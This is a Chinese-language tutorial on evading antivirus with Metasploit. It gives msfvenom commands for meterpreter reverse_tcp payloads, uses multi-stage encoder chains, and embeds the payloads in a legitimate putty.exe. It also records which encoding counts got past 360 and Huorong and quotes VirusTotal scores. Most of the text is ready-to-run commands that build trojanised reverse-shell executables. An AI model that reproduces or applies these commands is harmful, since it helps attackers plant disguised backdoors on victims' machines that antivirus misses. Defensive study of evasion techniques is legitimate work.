0x01 免杀能力一览表
- 上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
- 为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
- 由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
- 其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
0x02 前言
本节主要是对msf自身提供的免杀机制(编码+捆绑)进行尝试,由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果
0x03 未处理的payload
在做免杀之前,我们先生成一个原始payload作为原始参数对比,这里我们就选使用频率最高的windows/meterperter/reverse_tcp,这也是被各大杀软盯的最紧的一个。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe
基本不用怀疑,本地的360全家桶和火绒都能查杀。
0x04 msf自编码处理
使用msfvenom --list encoders可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe
测试机器运行,本地的360全家桶和火绒都能查杀。
由于shikata_ga_nai编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。
0x05 msf自捆绑免杀
在生成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以。
我这里使用一个正规的putty.exe作为被捆绑测试软件。
生成payload命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3.exe
生成的两个文件对比,大小完全一样。
测试机器运行,本地的360全家桶和火绒都能查杀该payload。
0x06 msf自捆绑+编码
将上面的编码和捆绑两种方法结合一下进行尝试
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
测试机器执行,发现火绒动态静态均能查杀,而360不会报病毒。
在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。
可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。
0x07 msfvenom 多重编码
msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。
如下命令,使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
还有这种更多重编码姿势
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
virustotal.com上查杀率为45/70,编码多了,免杀率居然降低了。。。尴尬。。
经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联
0x08 参考资料
使用msf编码器避开杀毒软件的检测:https://www.freebuf.com/column/216599.html
msf多重编码:https://blog.csdn.net/wyf12138/article/details/79825833
Msfvenom学习总结:http://www.secist.com/archives/3353.html
msfvenom生成后门的免杀测试:http://www.naivete.online/msfvenom%E7%94%9F%E6%88%90%E5%90%8E%E9%97%A8%E7%9A%84%E5%85%8D%E6%9D%80%E6%B5%8B%E8%AF%95/